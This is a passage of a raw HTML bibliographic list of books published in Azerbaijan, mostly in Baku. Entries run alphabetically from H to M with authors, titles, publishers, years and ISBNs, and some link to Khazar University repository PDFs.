Qurucu, Şair. Bakı: Xəzər Universitəsi, 2010. ISBN: 9789952200485</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Harvey, J. Müasir Ekonomiks. Bakı: Məmmədli şirkəti, 2001. ISBN: 9952400063</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hayek, F Hüquq, qanunvericilik və azadlıq. Bakı: Qanun, 2002. ISBN: 9952260016 (cild 1) 9952260024 (cild 2), 9952260032 (cild 3)</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Heydər Əliyev və şərq. Bakı: Çaşıoğlu, 2003. ISBN: 9952270100</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Held of azerbaijan Young lawyers\' union as an implementing partner - February 18, 2005. ISBN: 9952408099</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Held of azerbaijan Young lawyers\' union with the finansical assistance of usaid through eurasia foundation - March 29, 2005. ISBN: 9952408102</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Held of azerbaijan Young lawyers\' union with the finansical assistance of usaid through eurasia foundation - april 29, 2005. ISBN: 9952408110</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Held of azerbaijan Young lawyers\' union with the finansical assistance of usaid through eurasia foundation - July 15, 2005. ISBN: 9952408153</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hesse, H. Demian. Bakı: Qanun, 2012. ISBN: 9789952262964</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hiebert, R. Kütləvi informasiya vasitələri VI: müasir kommunikasiyaya giriş. Bakı: Xəzər Universitəsi, 2005. ISBN: 9952200307</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hicran, V. Mən kiməm. Bakı: ISBN: 9952810165</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hophopnamə. Bakı: Turan nəşrlər evi, 2002. ISBN: 9952405001</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüquq və Gənclik. ISBN: 9952250312</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynov, H. Qərb-Şərq münasibətləri xristian və islam təfəkkürü baxımından. Bakı: Təknur, 2005. ISBN: 9952428006</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynov, H. XIX əsr Azərbaycan ictimai və fəlsəfi fikir tarixindən. Bakı: Zəkioğlu, 2006. ISBN: 9952808018</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynov, R. Məhsəti Gəncəvi – özü, sözü, izi. Bakı: Nurlan, 2005. ISBN: 9952806000</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynova, A. Müsiqi: səmimiyyət məbədi. Bakı: Ayna Mətbuat Evi, 2001. ISBN: 9952230052</p><hr noshade=\"noshade\"><strong>X</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Xalilov, İ. Teatr və kino. Bakı: Ayna Mətbuat Evi, 2001. ISBN: 9952230044</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1891/1/Ali%20Rza%20Xelefli%20enson23.pdf\"><strong>Xələfli, Ə. Həyatın dastanı.</strong></a>&nbsp;Bakı: Xəzər Universiteti Nəşriyyatı, 2012. ISBN: 9789952200713</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Xəlil, Z. Dünyanın ən balaca nağılları. Bakı: Nağıl Evi, ISBN: 9952210043</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Xəlilov, S. Fəlsəfə Tarix və Müasirlik. Bakı: Azərbaycan Universiteti, 2006. ISBN: 9952805020</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Xəlilov, S. Şərq və Qərb. Bakı: Azərbaycan Universiteti, 2004. ISBN: 9952805004</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Xəlilov, S. Təhsil, təlim, tərbiyə. Bakı: Azərbaycan Universiteti, 2005. ISBN: 9952805012</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Xüsusi Qayğıya möhtac uşaqların erkən yaş dövrü proqramlarına daxil edilməsi. Bakı Məmmədli&nbsp;şirkəti, 2000. ISBN: 9952400047</p><hr noshade=\"noshade\"><strong>İ</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İbadov, Q. Büdcə bələdçisi. Bakı: ISBN: 9952803109</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İbadov, R. Avropa ittifaqının əsasları. Bakı, 2004. ISBN: 9952805306</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İbrahimli, X. Yeni Avrasiya Qafqazı. Bakı: Xəzər Universitəsi, 2000. ISBN: 9952200005</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İctimai dinləmə: metodiki vəsait. Bakı: “Ekspert” jurnalı, 2004. ISBN: 9952803136</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İctimai siyasət institutları. Bakı: Yeni Nesil, 2002. ISBN: 9952240090</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnam Ata. On kutsal Bitiq. 4-cü hissə. Bakı: Qanun, 2012. ISBN: 9789952263114</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnsan hüquqlarının müdafiəsi: BMT sistemi Avropa sistemi ölkədaxili mexanizmlər. Bakı: Adiloğlu, 2004. ISBN: 9952250129</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnkişafetdirici tapşırıqlar. Bakı: ISBN: 9952809114</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Irfan №5. Bakı: 2006. ISBN: 9952808292</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Irfan №7. Bakı: 2006. ISBN: 9952808377</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Irzabekova,Y. An Anthology of Soviet Yiddish Music. Baku, 2001. ISBN: 9952402015</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İrzabekova,Y. Jewish Songs and Dances. Baku: Yeni Nesil, 2001. ISBN: 9952240007</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Irzabekova,Y. Melodies of Yiddish Shtetlakh. Baku: Yeni Nesi, 2001. ISBN: 9952240066</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1031/1/Biblioqrafiya%20Hamlet%20edited%20by%20Martha.pdf\"><strong>Hamlet İsaxanlı : Biblioqrafiya. Alim, Qurucu, Şair - Hamlet Isaxanli : Bibliography. Scholar, Founder, Poet.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2010. ISBN: 9789952200485</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1461\"><strong>İsaxanlı, H. Bu da bir həyatdı</strong></a>. Bakı: Xəzər Universitəsi, 2004. ISBN: 9952200188</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1480\"><strong>İsaxanlı, H. Dördlüklər.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2007. ISBN: 9789952200453</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1013/1/In%20search%20of%20Khazar.pdf\"><strong>İsaxanli, H. In Search of “Khazar”.</strong></a>&nbsp;Baku: Khazar University Press, 2006. ISBN: 9789952200348</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1827/1/ALITHS20082012.pdf\"><strong>İsaxanlı, H. Müasir dünyada ali təhsil sistemində nələr baş verir və \"2008-2012-ci illərdə Azərbaycan Respublikasının ali təhsil sistemində islahatlar üzrə Dövlət Proqramı \" necə olsa yaxşıdır ?.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2008. ISBN: 9789952200447</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1001/1/on%20education%20system_Isaxanli.pdf\"><strong>İsaxanli, H. On education system in transition economy : A view from Azerbaijan.</strong></a>&nbsp;Baku: Khazar University Press, 2006. ISBN: 9789952200379</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İsaxanlı, H. Ömür poeziyası. Bakı: Xəzər Universitəsi, ISBN: 995220017X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1463/1/Tezadlar%20new%20version.pdf\"><strong>İsaxanlı, H. Təzadlar</strong></a>. Bakı: Xəzər Universitəsi, 2001. ISBN: 9952200021</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1490/1/ziyaret%20dezen%20son.pdf\"><strong>İsaxanlı, H. Ziyarət.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2009. ISBN: 9952200492</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1465\"><strong>İsaxanlı, İ. Azərbaycanda latın əlifbasına keçid və Fərhad Ağazadə.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2011. ISBN: 9789952200591</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1291\"><strong>İsaxanlı, İ. Klassik rus poeziyasından nümunələr.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2011. ISBN: 978995220645</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1005\"><strong>İsaxanlı, İ. Şeir gülüstanının təkrarolunmaz çiçəyi - Serqey Yesenin.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2011. ISBN: 9789952200676</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İsak, İ. Canım sənə desin. Bakı: Qanun, 2012. ISBN: 9789952263046</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İslam, inam, ibadət. Bakı: ISBN: 9952808308</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İsmayılov, Ç. Xəzər dənizinin və sahilyanı ərazilərin ekologiyası. Bakı: Ayna Mətbuat Evi, 2005. ISBN: 9952230184</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İsmayilov, Ç. Neft: dünyamızın şah damarı. Bakı: Ayna Mətbuat Evi, 2001. ISBN: 9952230079</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/995\"><strong>İsmayılzadə, Q. Arxeoloqun çöl gündəliyindən.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2009. ISBN:</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İşgəncələrə və qəddar qeyri insani yaxud ləyaqəti alcaldan davranış və cəza növləri əleyhinə Konvensiya -2004. ISBN: 9952408021</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İzahlı reklam lüğəti. Bakı: Bakı nəşriyyatı, 2004. ISBN: 9952430020</p><hr noshade=\"noshade\"><strong>K</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kamyu, A. Taun. Bakı: Qanun, 2012. ISBN: 9789952263190</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kavas, İ. ÜTT-yə üzv olma -ÜTT-yə üzv olma. ISBN: 995250371</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kazımzadə, A. Əbədi ölməzlik zirvəsi. Bakı: EL, 2005. ISBN: 9952810121</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kərimov, M. Azərbaycan musiqi alətləri. ISBN: 9952240244</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kərimzadə, F. Xudafərin körpüsü. Bakı: Qanun, 2012. ISBN: 9789952262988</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Khazar English-Azerbaijani comprehensive dictionary: in 6 volumes. V.1. Baku: Khazar University&nbsp;Press, 2004. ISBN: 995220020X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Khazar English-Azerbaijani comprehensive dictionary: in 6 volumes. V.2. Baku: Khazar University&nbsp;Press, 2004. ISBN: 9952200218</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kitab nəşri biznesi-menecment treyninq kursu. Bakı: Qərb Universiteti, 2002. ISBN: 9952404006</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1119/1/kitabi%20dedem%20qorqud.pdf\"><strong>Kitabi Dədəm Qorqud.</strong></a>&nbsp;ISBN: 9952200129</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kitabi-Dədə Qorqud aşiqi. . Bakı: Xəzər Universitəsi, 2002. ISBN: 9952200123</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kommersiya hüququ üzrə praktikum. Bakı: Patronat – S şirkəti, 2003. ISBN: 9952409127</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kommersiya hüququ. Bakı: Patronat – S şirkəti, 2003. ISBN: 9952409135</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Korrupsuyaya qarşı mübarizə haqqında sənədlər toplusu. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2005. ISBN: 995240813X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Khalilov, S. Phenomenology of life or life of idea.&nbsp;&nbsp;Baku: Azerbaijan University Press,&nbsp; 2012. ISBN: 9789952814736</p><hr noshade=\"noshade\"><strong>Q</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qaçqın statusunun müəyyənləşdirilməsi proseduraları və meyyarları üzrə təlimat kitabı. ISBN: 9952408072</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qanadlansın nəğməmiz çoxsəsli uşaq xoru üçün mahnadar. Bakı: Xəzər Universitəsi, 2001. ISBN: 9952200080</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qanın klinik istifadəsi və təhlükəsizliyi. Bakı: EI Alliance, 2001. ISBN: 9952290535</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qarabağ dünən, bu gün və sabah (III buraxılış). Bakı: Qarabağ Azadlıq Təşkilatı, 2004.ISBN: 9952802528</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qarabağ dünən, bu gün və sabah (IV buraxılış). Bakı: Qarabağ Azadlıq Təşkilatı, 2005.&nbsp;ISBN: 9952802536</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qarabağ dünən, bu gün və sabah. Bakı: Qarabağ Azadlıq Təşkilatı, 2003. ISBN: 9952802501</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qaraqızı, U. Azərbaycan filmlərinin yaranma tarixindən : I kitab. Bakı: EL, 2006. ISBN: 9952810127</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qaraoğlu, F. Peyğəmbərimiz Hz.Məhəmmədin həyatı. Bakı: CBS, 2006. ISBN: 9952808135</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qardaşxanqızı, R. Arzularımın Səni. Bakı: Qanun, 2012. ISBN: 9789952263060</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qasımov, R. İnformatika sabaha açılan pəncərə. Bakı: Ayna Mətbuat Evi, 2001. ISBN: 9952230095</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qasımova, Y. Genderin aktual informasiya mənbələri. AREAT, 2003. ISBN: 9952802102</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qasımzadə, A. Orta Kür çökəkliyinin və Böyük Qafqazın Vəndam zonasının mezozoy kompleksinin&nbsp;stratifikasiyası. Bakı: EI Alliance, 2002. ISBN: 9952290063</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qastroenterologiya istifadə olunan dərman vasitələri. Bakı: Bakfarmbüro, 2002. ISBN: 9952800800</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qədirov, Ş. İkinci qarabağ müharibəsi. ISBN: 995250436</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qırızlı, Ş. Qardaş körpüsü : seçilmiş əsərlər. Bakı: EI Alliance, 2005. ISBN: 9952290330</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyev, C. Azərbaycan Respublikasının cəza-icra hüququ. Bakı: Hüquq ədəbiyyatı, 2012. ISBN: 9789952460063</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyeva, L. Balina və gəmiçilik. Bakı: Nağıl Evi, 2001. ISBN: 9952210019</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quliyeva, L. Maymaq qaragöz. Bakı: Nağıl Evi, 2002. ISBN: 9952210051</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qurbanov, Y. Ümumi kliniki-laborator üsullarının tədrisinə dair. Bakı: Xəzər Universitəsi, 2001. ISBN: 9952200099</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Quşlar. Bakı: Tutu, 2005. ISBN: 9952410012</p><hr noshade=\"noshade\"><strong>L</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Le Bon, G. Kütlə psixologiyası. Bakı : Zəkioğlu, 2006. ISBN: 9952808001</p><hr noshade=\"noshade\"><strong>M</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Makedoniyalı İskəndər. Bakı: Yeni Nəsil, 2001. ISBN: 9952240015</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Media və hakimiyyət. Bakı: Yeni Nəsil, 2002. ISBN: 9952240198</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mehdi, F. Dilən, professor, utanma, dilən. Bakı, 2002. ISBN: 995280251X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1200/1/Mamed%20Amin%20Rasulzade%20234.pdf\">Məhəmməd Əmin Rəsulzadə və ictimai-siyasi ideallar: M. Ə. Rəsulzadənin 120-illiyinə həsr olunmuş</a>&nbsp;</strong></p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1200/1/Mamed%20Amin%20Rasulzade%20234.pdf\"><strong>elmi konfransın materialları, 28 yanvar 2004-cü il.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2003. ISBN: 9952200285</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məhərrəmov, A. Neft kimyası və neft-kimyəvi sintez. Bakı: Çaşıoğlu, 2003. ISBN: 9952270089</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məişət zorakılığının qarşısının alınması haqqında Azərbaycan respublikası qanununun komentariyası. Bakı: Azərbaycan hüquqşünaslar konfederasiyası, 2011. ISBN: 9789952807998&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" 